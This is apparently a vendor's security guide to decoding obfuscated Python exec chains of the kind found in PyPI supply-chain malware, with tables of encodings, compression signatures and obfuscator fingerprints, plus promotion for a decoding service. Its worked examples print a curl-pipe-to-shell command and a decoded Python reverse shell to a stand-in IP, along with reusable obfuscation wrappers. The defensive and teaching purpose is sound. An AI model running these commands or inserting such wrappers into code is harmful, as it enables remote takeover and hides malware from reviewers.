A dependency audit flags a PyPI package in your CI pipeline. You pull the source. One file, forty lines, and every line is an exec() call wrapping a blob of base64 that wraps a compressed blob that wraps another exec() call. Somewhere inside that nesting is a credential stealer, a reverse shell, or a supply-chain implant - but you cannot tell which without peeling back the layers. But the payload is there. It has to be. As a string literal, somewhere in the source, regardless of how many layers wrap it. That constraint is what makes automated decoding possible.
Decode Python exec chains automatically. Paste your obfuscated Python at klaroskope.com/submit - KlaroSkope resolves base64, compression, hex escapes, lambda indirection, and nested exec/eval chains in seconds.
- What Python Exec Obfuscation Looks Like - with PyObfuscate example
- The Encoding Techniques - base64, hex, compression, lambda indirection
- Compression Format Identification - base64 prefix signatures for zlib, lzma, bz2, gzip
- Execution Primitives Reference - exec, eval, compile, __import__
- Common Obfuscated Patterns Decoded - one-liner lookup table for triage
- Obfuscator Tool Signatures - PyObfuscate, Hyperion, Pyminifier, Kramer
- The Decode Chain - every intermediate layer shown
- Threat Landscape - PyPI supply chain, RATs, and advisory references
- Decode It Automatically - before/after example with KlaroSkope
What Python Exec Obfuscation Looks Like
The simplest form is a one-liner: exec() wrapping a base64.b64decode() call that contains the entire payload as a string literal. The obfuscated code is syntactically valid Python, imports only standard library modules, and runs on any Python 3 installation without dependencies.
More sophisticated variants use lambda functions to hide the decode chain. The actual base64 or zlib import is inside a lambda, the payload string is passed as a variable, and the relationship between the decode function and the data is obscured across multiple assignments.
# PyObfuscate-style lambda indirection
# The payload is the large string literal, but it's NOT inside
# a function call - it's passed through a variable chain
_ = lambda __ : __import__('zlib').decompress(
__import__('base64').b64decode(__[::-1]))
exec((_)(b'...base64 blob reversed...'))This is why most online deobfuscators fail on Python malware. They pattern-match for b64decode("payload") and find nothing - the string literal is never a direct argument to the decode function. The lambda sits between them, and the tool gives up. The attacker is counting on that.
The Encoding Techniques
Python malware authors combine a small set of encoding primitives into multi-layer chains. Each primitive is a standard library function - no pip installs, no suspicious downloads, nothing that would flag a dependency scanner. The entire obfuscation toolkit ships with Python itself.
Base64 Encoding
Base64 is the most common encoding layer in Python exec obfuscation. The base64 module is in the standard library, the encoding is reversible, and the output looks like random characters rather than readable code. Three calling patterns appear in the wild:
# Pattern 1: Direct import
import base64
exec(base64.b64decode("aW1wb3J0IHNvY2tldA==").decode())
# Pattern 2: Inline __import__
exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldA=='))
# Pattern 3: Variable indirection
from base64 import b64decode as d
exec(d("aW1wb3J0IHNvY2tldA=="))The third pattern is increasingly common because renaming b64decode to a single-letter variable defeats simple string-matching detection rules. We see it often in supply-chain samples where the author has iterated on evasion.
Hex and Bytes Encoding
Hex encoding converts each byte of the payload to its two-character hexadecimal representation. It produces longer output than base64 but has one advantage for the attacker: hex strings blend into code that legitimately handles binary data. Python offers several ways to decode hex strings back to bytes:
# bytes.fromhex() - most common
exec(bytes.fromhex("696d706f7274206f73").decode())
# codecs module
exec(__import__('codecs').decode("696d706f7274206f73", "hex").decode())
# bytearray constructor
exec(bytearray.fromhex("696d706f7274206f73").decode())
# Bytes literal with \x escapes
exec(b'\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73'.decode())Bytes literals with \x escapes are the sneakiest variant. The payload is already decoded at parse time - Python's interpreter handles the hex-to-bytes conversion before execution even reaches the exec() call. No decode function appears in the source. No import is needed. The obfuscation is invisible to anything that greps for decode-related function names.
Analysis trap: Python bytes literals with \x escapes (e.g., b'\x65\x76\x61\x6c') are processed by the Python parser itself, not by a runtime function. Searching for bytes.fromhex or codecs.decode in the source will not find these payloads. Look for b' or b" followed by \x sequences.
Compression Layers
Compression serves two purposes in Python obfuscation: it reduces the encoded payload size (making the file look less suspicious) and it adds a layer that must be explicitly decompressed before the payload is readable.
# zlib (most common)
exec(__import__('zlib').decompress(
__import__('base64').b64decode('eJxLSS0u0cvIz0nVAwALOgLu')))
# lzma
exec(__import__('lzma').decompress(
__import__('base64').b64decode('/Td6WFoAAA...')))
# bz2
exec(__import__('bz2').decompress(
__import__('base64').b64decode('QlpoOTFB...')))
# gzip
exec(__import__('gzip').decompress(
__import__('base64').b64decode('H4sIAAAA...')))The compression format choice is mostly a matter of obfuscator tooling preference. zlib is the most common because it produces compact output and the zlib module is available on every Python installation. lzma and bz2 are rarer but achieve higher compression ratios.
Compression Format Identification
When a base64 payload decodes to compressed bytes, the compression format determines the next decompression step. Each format leaves a distinct signature in the first few bytes of the base64 string.
| Base64 Prefix | Compression Format | Raw Magic Bytes | Python Module |
|---|---|---|---|
| eJz, eJx, eJy | zlib (default) | 78 9C | zlib |
| eNr, eNq, eNp | zlib (best) | 78 DA | zlib |
| /Td6 | lzma (xz) | FD 37 7A 58 | lzma |
| QlpoO | bz2 | 42 5A 68 | bz2 |
| H4sI | gzip | 1F 8B | gzip |
The zlib prefix varies because base64 encodes 3 bytes at a time - the third character depends on the first byte of compressed data, not just the magic header. In practice, eJ (default compression, 78 9C) and eN (best compression, 78 DA) cover the vast majority of samples. If a base64 string starts with eA, that's zlib with no compression (78 01) - rare in malware because it defeats the purpose.
Bookmark this table. When you encounter a base64 blob inside an exec() chain, the first two characters of the base64 string tell you what decompression to apply after decoding. eJ or eN means zlib. H4 means gzip. No guessing required.
Lambda Indirection
Lambda indirection is the boundary between single-layer wrappers and tooled obfuscation. Instead of calling base64.b64decode() directly on a string literal, the decode function is wrapped in a lambda, and the payload is passed through a variable chain:
# Simple lambda indirection
_ = lambda __ : __import__('base64').b64decode(__)
exec((_)(b'aW1wb3J0IHNvY2tldA=='))The lambda obscures the relationship between the decode function and the payload. Static analysis tools that match patterns like b64decode("...") will miss this because the string is never a direct argument to b64decode - it flows through the lambda's parameter. More aggressive variants nest lambdas or use string reversal inside the chain:
# Reversed payload inside lambda
_ = lambda __ : __import__('zlib').decompress(
__import__('base64').b64decode(__[::-1]))
exec((_)(b'...payload reversed...'))
# Nested lambda chain - inner decodes base64, outer decompresses
__ = lambda ___ : __import__('base64').b64decode(___)
_ = lambda ___ : __import__('zlib').decompress(__(___)
exec(_(b'eJzLzC3ILypRyC+2zi...'))We see the nested pattern regularly in PyObfuscate output. The underscore variable names make it harder to trace which lambda does what, but the structure is consistent: inner lambda handles decoding, outer lambda handles decompression, and the exec() call at the end triggers execution.
Python exec obfuscation has evolved through three generations. The first generation used single-layer base64 or hex wrapping - once effective, now caught by most scanners. The second generation introduced lambda indirection and compression chains (PyObfuscate, Pyminifier), defeating the pattern-matching rules written to catch generation one. The third generation added marshal serialisation with polymorphic XOR and multi-format compression, evading nearly all signature-based detection. Most PyPI supply-chain malware currently sits at generation two - the tools are freely available and the detection gap is still wide enough.
Marshal Serialisation
marshal is Python's internal serialisation format for bytecode objects. Obfuscators use it to serialize compiled code objects, which can be loaded and executed without the source code being present as readable text:
import marshal
exec(marshal.loads(base64.b64decode("4wAAAAAAAA...")))Marshal payloads are version-specific - a marshal blob compiled with Python 3.10 may not load on Python 3.12. This limits the portability of marshal-based obfuscation, which is why most malware authors combine it with base64 or compression rather than using it as the sole encoding layer.
Execution Primitives Reference
Every Python exec obfuscation chain terminates in an execution primitive - a function that takes a string or code object and runs it. Without one of these, the decoded payload is just data.
| Primitive | Accepts | Usage Pattern | Notes |
|---|---|---|---|
| exec() | String, bytes, code object | exec(decoded_string) | Most common. Executes statements. |
| eval() | String expression | eval(decoded_expression) | Evaluates expressions only. Used for single-line payloads. |
| compile() | String + mode | exec(compile(s, '<string>', 'exec')) | Compiles to code object first. Adds a layer. |
| __import__() | Module name | __import__('os').system('cmd') | Inline import without import statement. |
| importlib | Module spec | importlib.import_module('os') | Less common, same effect as __import__. |
These primitives convert strings to code. Once the payload is decoded and executed, it typically calls os.system(), subprocess.Popen(), or subprocess.call() to launch shell commands, download second-stage payloads, or establish reverse shells. We've seen samples where the entire obfuscation chain exists solely to hide a single os.system("curl ... | sh") call.
Common Obfuscated Patterns Decoded
When triaging a flagged Python file, these are the one-liners you will encounter most often. Each row shows the obfuscated pattern and what it actually does.
| Obfuscated Pattern | What It Does |
|---|---|
| exec(base64.b64decode("...")) | Decodes base64 string and executes as Python code |
| exec(__import__('base64').b64decode('...')) | Same, but avoids a visible import statement |
| exec(bytes.fromhex("...").decode()) | Decodes hex string and executes as Python code |
| exec(compile(base64.b64decode("..."), '<string>', 'exec')) | Decodes, compiles to code object, then executes |
| exec(marshal.loads(base64.b64decode("..."))) | Decodes base64 to bytecode, then executes directly |
| exec(__import__('zlib').decompress(__import__('base64').b64decode('...'))) | Decodes base64, decompresses zlib, then executes |
| _ = lambda __ : ...; exec((_)(b'...')) | Lambda indirection - decode function hidden in lambda |
| exec((_)(b'...'[::-1])) | Payload string is reversed before decoding |
| __import__('os').system('...') | Direct OS command execution without import statement |
| __import__('subprocess').Popen(['...']) | Spawns a subprocess without import statement |
Obfuscator Tool Signatures
Different obfuscation tools leave distinct fingerprints in their output. Recognising these signatures helps identify the tool used and predict the encoding chain.
| Tool | Fingerprint | Typical Pattern |
|---|---|---|
| PyObfuscate | _ = lambda __ variable names | Lambda indirection + __import__() + reversed base64 + zlib compression |
| Hyperion | __obfuscator__ = 'Hyperion' metadata, hex variable names (_0x...) | Raw bytes literal + multi-layer compression + marshal |
| Pyminifier | Direct inline __import__ chains | exec(__import__('zlib').decompress(__import__('base64').b64decode("..."))) - no lambda |
| Kramer | Multi-stage exec nesting | Nested exec() calls with base64 at each layer, used by PureHVNC |
| Mr.X | #Obfuscate by Mr.X header comment | Base64 + hex encoding, signature header in source |
| Custom/manual | No consistent markers | Single exec(base64.b64decode("...")) or exec(bytes.fromhex("...")) |
The Decode Chain
Multi-layer Python obfuscation wraps the payload in successive encoding layers. Each layer must be removed in order - outer layer first - to reach the original code. Here is a 4-layer chain with verified intermediate output at every step:
Layer 0 (Original input):
exec(__import__('zlib').decompress(__import__('base64').b64decode(
b'HLRAQBABSDlzps6zOzUTK9E01MD0wQzMUXzMQTLt3ct0wmSKogcUK3iLKBV1NnkLs46KW/iz2+CyRpyLI3CzLzJe'
[::-1])))
Layer 1 (Extract and reverse the payload string):
eJzLzC3ILypRyC+2zi/WK64sLknN1VBKLi3KUcgoKSmw0tc3tLTQMzXUMzQw0DM10E9KTUzOz6spzlDSBABQARLH
Layer 2 (Base64 decode):
78 9c cb cc 2d c8 2f 2a 51 c8 2f b6 ce 2f d6 2b ...
(66 bytes, zlib magic: 78 9c)
Layer 3 (zlib decompress):
import os;os.system("curl http://198.51.100.50/beacon|sh")The decode order follows the nesting: the outermost wrapper (exec) is stripped first, then string reversal ([::-1]), then base64, then zlib. Each layer reveals the next encoding to remove.
KlaroSkope's iterative pipeline handles this automatically. It does not need to understand the specific function chain or lambda structure - it identifies the encoded payload, applies matching decoders, and repeats until no more encoding layers remain. A 6-layer nested exec chain decodes the same way as a single-layer base64 wrapper. Paste any Python exec chain at klaroskope.com/submit and see each layer resolved.
Threat Landscape
Python exec obfuscation is overwhelmingly concentrated in two threat categories: PyPI supply-chain attacks and Python-based RATs/stealers.
Phylum and ReversingLabs documented the W4SP Stealer campaign (2022), which distributed credential-stealing malware through typosquatted PyPI packages affecting over 45,000 users. The packages used exec/eval wrapping with base64 encoding - the same patterns described above, deployed at scale across dozens of package names. Checkmarx identified BlazeStealer (2023) targeting developers who searched PyPI for obfuscation tools. The irony was precise: the malware was embedded in the obfuscation packages themselves.
ESET's survey documented 116 malicious PyPI packages across 53 projects, most using exec chains with varying levels of lambda indirection. On the RAT side, Fortinet documented PureHVNC (2024) using multi-stage Kramer obfuscation with nested exec layers. SANS ISC identified NiroRAT (2025) with polymorphic XOR+zlib+marshal chains that achieved 2/64 antivirus detection at disclosure. 2 out of 64 engines. That is what multi-layer obfuscation buys the attacker.
The MITRE ATT&CK framework maps Python exec obfuscation across multiple techniques: T1059.006 (Command and Scripting Interpreter: Python), T1027 (Obfuscated Files or Information), T1195.001 (Supply Chain Compromise: Compromise Software Dependencies), and T1204.002 (User Execution: Malicious File). Supply-chain attacks via PyPI additionally map to T1195.002 (Compromise Software Supply Chain).
If you find obfuscated Python on a production server or in a dependency tree, assume compromise. Decode the payload to understand what it does - credential theft, reverse shell, data exfiltration - but the presence of obfuscated exec chains in a Python package or script is itself the indicator. Legitimate Python code does not wrap its functionality in base64-encoded exec calls.
Decode It Automatically
Here is a PyObfuscate-style lambda chain with base64 and zlib compression. The reversed base64 payload, the lambda indirection, the inline __import__ calls - this is a pattern we see in PyPI supply-chain samples regularly.
# INPUT: Obfuscated Python (PyObfuscate pattern)
_ = lambda __ : __import__('zlib').decompress(
__import__('base64').b64decode(__[::-1]))
exec((_)(b'=MUMGTRAdnaLqBh+ZfE9cyi/TvoAnfgA6/0CaBGPYXpLw/z0YVtJJVbrwG/ybk13uAu9x9uBDw5VuBRM7SJzsUsRGPggaoWPNlvKPZdlPdp5ef/m8TRl/1rJCdGEghz001bwcTIowOhTgo0si8aRQAjwKEEjFxJe'))# OUTPUT: Decoded payload
import socket;s=socket.socket();s.connect(("198.51.100.50",4444));
import subprocess;p=subprocess.Popen(["/bin/sh","-i"],
stdin=s,stdout=s,stderr=s)The lambda obscured the decode function. The [::-1] reversed the base64 string. The base64 encoded a zlib-compressed blob. Four layers deep, and the result is a reverse shell connecting to 198.51.100.50 on port 4444. The IOC extraction then pulled the IP address and port for incident response - the artifacts that matter for containment. Paste your obfuscated Python at klaroskope.com/submit and see the decoded result in seconds.
Try it now --> klaroskope.com/submit - paste any obfuscated Python and see the decoded result in seconds.
Frequently Asked Questions
What is Python exec obfuscation?
How do I decode an obfuscated Python exec chain?
What is lambda indirection in Python malware?
What MITRE ATT&CK techniques cover Python exec obfuscation?
What does exec(__import__('base64').b64decode(...)) mean in a Python file?
How can I tell if a Python file is obfuscated?
What is the difference between exec() and eval() in Python obfuscation?
What compression formats do Python obfuscators use?
Are Python exec-obfuscated files detected by antivirus?
What is marshal in Python obfuscation?
Continue Learning
Ready to decode?
See KlaroSkope transform obfuscated scripts into actionable intelligence.
Try It Free